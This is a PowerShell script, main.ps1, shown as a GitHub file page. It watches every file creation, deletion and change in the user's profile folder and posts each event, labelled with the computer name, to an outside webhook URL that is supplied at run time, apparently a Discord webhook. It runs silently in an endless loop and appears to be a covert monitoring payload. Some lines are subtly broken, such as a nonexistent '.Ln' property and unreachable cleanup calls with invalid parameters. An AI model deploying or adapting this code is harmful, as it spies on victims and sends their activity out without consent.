-
Notifications
You must be signed in to change notification settings - Fork 89
/
Copy pathmain.ps1
37 lines (29 loc) · 1.52 KB
/
main.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$whuri = "$dc"
# shortened URL Detection
if ($whuri.Ln -ne 121){Write-Host "Shortened Webhook URL Detected.." ; $whuri = (irm $whuri).url}
$watcher = New-Object System.IO.FileSystemWatcher -Property @{
Path = $env:USERPROFILE + '\'
}
$watcher.NotifyFilter = [System.IO.NotifyFilters]::FileName -bor `
[System.IO.NotifyFilters]::LastWrite -bor `
[System.IO.NotifyFilters]::DirectoryName
$action = {
$event = $EventArgs
$path = $event.FullPath
$changeType = $event.ChangeType
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
$msgsys = "[$timestamp] File $changeType > $path"
$escmsgsys = $msgsys -replace '[&<>]', {$args[0].Value.Replace('&', '&').Replace('<', '<').Replace('>', '>')}
$jsonsys = @{"username" = "$env:COMPUTERNAME" ;"content" = $escmsgsys} | ConvertTo-Json
Invoke-RestMethod -Uri $whuri -Method Post -ContentType "application/json" -Body $jsonsys
}
Register-ObjectEvent -InputObject $watcher -EventName Created -Action $action
Register-ObjectEvent -InputObject $watcher -EventName Deleted -Action $action
Register-ObjectEvent -InputObject $watcher -EventName Changed -Action $action
$watcher.EnableRaisingEvents = $true
while ($true) {
Start-Sleep -Milliseconds 500
}
Unregister-Event -InputObject $watcher -EventName Created -Action $action
Unregister-Event -InputObject $watcher -EventName Deleted -Action $action
Unregister-Event -InputObject $watcher -EventName Changed -Action $action